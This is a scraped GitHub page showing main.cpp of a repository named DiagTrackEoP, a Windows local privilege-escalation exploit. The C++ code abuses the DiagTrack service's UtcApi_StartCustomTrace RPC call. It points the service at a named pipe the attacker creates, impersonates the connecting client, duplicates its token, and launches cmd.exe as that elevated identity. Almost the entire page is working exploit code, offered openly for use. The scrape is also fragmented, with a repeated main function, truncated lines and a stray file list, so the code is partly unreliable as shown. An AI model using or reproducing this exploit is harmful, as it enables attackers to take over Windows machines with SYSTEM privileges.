

DiagTrackEoP / main.cpp



Wh04m1001 Create main.cpp
 2a54ef0 · 2 years ago
 History

```

1  #include <Windows.h>
2  #include <strsafe.h>
3  #include <stdio.h>
4  #include <UserEnv.h>
5  #include "diag_h.h"
6  #pragma warning(disable:4996)
7  #pragma comment(lib,"Userenv.lib")
8  #pragma comment(lib,"RpcRT4.lib")
9
10
11
12  HANDLE duptoken = INVALID_HANDLE_VALUE;
13
14  VOID Trigger(LPWSTR uuid);
15  HANDLE GetToken();
16  VOID Pipe(LPWSTR pipename);
17  BOOL EnablePriv(HANDLE token, LPCWSTR privilege);
18  VOID Execute(HANDLE token);
19  int wmain(int argc, wchar_t** argv) {
20
21      BOOL enabled = TRUE;
22      WCHAR pipe_name[] = L"thisispipe";
23      HANDLE token;
24
25      OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token);
26
27      enabled = EnablePriv(token, SE_IMPERSONATE_NAME);

```

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19  int wmain(int argc, wchar_t** argv) {
20
21      HANDLE interactive = GetToken();
22      ImpersonateLoggedOnUser(interactive);
23      Trigger(pipe_name);
24      do {
25          Sleep(500);
26
27      } while (duptoken == INVALID_HANDLE_VALUE);
28      Execute(duptoken);
29  }
30
31  HANDLE GetToken() {
32      HANDLE pHandle;
33
34      LogonUserW(L"thisisnotvaliduser", L".", L"thisisnotvalidpass", 9, LOGON32_PROVIDER_
35      return pHandle;
36  }
37
38  BOOL EnablePriv(HANDLE token, LPCWSTR privilege) {
39      DWORD retlen;
40      TOKEN_PRIVILEGES tp;
41      LUID luid;
42
43      if (!LookupPrivilegeValueW(NULL, privilege, &luid)) {
44          printf("[!] Error[LookupPrivilegeValue]: %d\n", GetLastError());
45          return FALSE;
46      }

```

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- diag.idl
- diag_c.c
- diag_h.h
- diag_s.c
- main.cpp

```

    ,
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, 0)) {
        printf("[!] Error[AdjustTokenPrivileges]: %d\n", GetLastError());
        return FALSE;
    }
    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
    {
        printf("[!] Token does not have %ls privilege.\n", privilege);
        return FALSE;
    }
    printf("[+] Privilege %ls enabled!\n", privilege);
    return TRUE;
}

VOID Pipe(LPWSTR pipename) {
    HANDLE g_pipe = INVALID_HANDLE_VALUE;;
    wchar_t pipe[MAX_PATH] = { 0x0 };
    HANDLE token = NULL;
    _swprintf(pipe, L"\\\\.\\pipe\\%s", pipename);
    g_pipe = CreateNamedPipe(pipe, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_MESSAGE, PIPE_WAIT, PIPE_READMODE_MESSAGE, PIPE_BUFFER_SIZE, 0, NULL);

    if (g_pipe == INVALID_HANDLE_VALUE)
    {
        printf("[!] Error[CreateNamedPipe]: %d\n", GetLastError());
        exit(1);
    }
    printf("[+] Pipe %ls created!\n", pipe);

    printf("[*] Waiting for client...\n");
    if (!ConnectNamedPipe(g_pipe, NULL)) {
        printf("[!] Error[ConnectNamedPipe]: %d\n", GetLastError());
        exit(1);
    }
    printf("[+] Client Connected!\n");
    if (!ImpersonateNamedPipeClient(g_pipe)) {
        printf("[!] Error[ImpersonateNamedPipeClient]: %d\n", GetLastError());
        exit(1);
    }
    printf("[+] Named Pipe impersonation successful!\n");

    if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
        printf("[!] Error[OpenThreadToken]: %d\n", GetLastError());
        exit(1);
    }
    if (!DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &token)) {
        printf("[!] Error[DuplicateTokenEx]: %d\n", GetLastError());
        exit(1);
    }
    printf("[+] Token duplicated!\n");

    DisconnectNamedPipe(g_pipe);
    CloseHandle(g_pipe);
}

VOID Execute(HANDLE token) {
    BOOL enabled;
    PROCESS_INFORMATION pi;
    STARTUPINFO si;
    LPVOID env;
    WCHAR desktop[] = L"winsta0\\default";
    enabled = EnablePriv(token, SE_ASSIGNPRIMARYTOKEN_NAME);
    if (!enabled) {
        printf("[!] Failed to enable privilege!\n");
        exit(1);
    }
    if (!CreateEnvironmentBlock(&env, token, TRUE))
    {
        printf("[!] Error[CreateEnvironmentBlock]: %d\n", GetLastError());
        exit(1);
    }
    ZeroMemory(&si, sizeof(si));

```

```
132     si.cb = sizeof(STARTUPINFO);
133     si.lpDesktop = desktop;
134     if (!ImpersonateLoggedOnUser(token)) {
135         printf("[!] Error[ImpersonateLoggedOnUser]: %d\n", GetLastError());
136         exit(1);
137     }
138     if (!CreateProcessAsUserW(token, L"c:\\windows\\system32\\cmd.exe", NULL, NULL, NUL
139         printf("[!] Error[CreateProcessAsUserW]: %d\n", GetLastError());
140         exit(1);
141     }
142     printf("[+] Dropping to interactive shell!\n\n\n");
143     fflush(stdout);
144     WaitForSingleObject(pi.hProcess, INFINITE);
145     RevertToSelf();
146     CloseHandle(token);
147 }
148 void Trigger(LPWSTR uuid)
149 {
150     RPC_STATUS status;
151     RPC_WSTR StringBinding;
152     RPC_BINDING_HANDLE Binding;
153
154     status = RpcStringBindingCompose((RPC_WSTR)L"4c9dbf19-d39e-4bb9-90ee-8f7179b20283",
155
156
157
158     status = RpcBindingFromStringBinding(StringBinding, &Binding);
159
160
161     RpcTryExcept
162     {
163         wchar_t a[MAX_PATH];
164         _swprintf(a, L"\\\\.\\127.0.0.1\\pipe\\%s", uuid);
165         long long t = 1;
166         printf("[*] Triggering Proc19_UtcApi_StartCustomTrace using %ls as path!\n",a);
167         long res = Proc19_UtcApi_StartCustomTrace(Binding,a,t);
168
169     }
170     RpcExcept(EXCEPTION_EXECUTE_HANDLER);
171     {
172         printf("[!] Exception: %d - 0x%08x\r\n", RpcExceptionCode(), RpcExceptionCode())
173         exit(1);
174     }
175     RpcEndExcept
176
177     status = RpcBindingFree(&Binding);
178
179
180 }
181 void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
182 {
183     return((void __RPC_FAR*) malloc(cBytes));
184 }
185
186 void __RPC_USER midl_user_free(void __RPC_FAR* p)
187 {
188     free(p);
189 }
```